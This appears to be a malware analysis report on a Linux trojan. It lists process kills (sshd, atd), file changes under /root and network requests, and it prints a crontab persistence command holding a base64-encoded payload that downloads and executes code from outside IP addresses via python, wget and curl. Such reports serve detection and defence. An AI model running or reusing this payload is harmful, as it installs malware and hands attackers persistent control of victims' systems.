Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- lrle
- scwg
- idkh
Launches processes:
- sh -c echo '* * * * * echo -n \"KCAgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuICBwa2lsbCAtZiB3YXRjaGJvZyA7IG5vaHVwIHB5dGhvbiAtYyAnaW1wb3J0IG9zOyBob21lZGlyID1vcy5wYXRoLmV4cGFuZHVzZXIoIn4vZGxzcyIpOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwgaG9tZWRpcik7IG9zLnN5c3RlbSgiY2htb2QgNzc3NyAkSE9NRS9kbHNzIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggJEhPTUUvZGxzcyIpOyBvcy5zeXN0ZW0oIiRIT01FL2Rsc3MiKScgMj4mMSA7IHx8IG5vaHVwIHB5dGhvbjMgLWMgJ2ltcG9ydCB1cmxsaWIucmVxdWVzdDsgdXJsbGliLnJlcXVlc3QudXJscmV0cmlldmUoImh0dHA6Ly8xNjUuMjI3LjE0MC4xODQvdG1wL29mZCIsICIvdG1wL3Nkb3YiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9zZG92Iik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3RtcC9zZG92Iik7b3Muc3lzdGVtKCIvdG1wL3Nkb3YiKScgMj4mMSA7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qci5zaHxzaCA+L2Rldi9udWxsIDI+JjEgOyB8fCBjdXJsIGh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2pyLmp[rkmodule] [<SAMPLE>][PPID:0x2c4] [<SAMPLE>][PID:0x2c6] do_filp_open. Filename: \"/bin/sh\
- crontab -
- sh -c /root/lrle scwg
- /root/lrle scwg
- sh -c /root/idkh idkh
- /root/idkh idkh
Kills system processes:
- sshd
Kills the following processes:
- atd
- (sd-pam)
Performs operations with the file system:
Modifies file access rights:
- /root/lrle
- /root/idkh
Creates or modifies files:
- /root/lrle
- /root/p
- /root/idkh
Deletes files:
- /root/lrle
- /root/p
Network activity:
HTTP GET requests:
- 18#.###.169.6/jp/jpp
- 18#.###.169.6/jp/nvn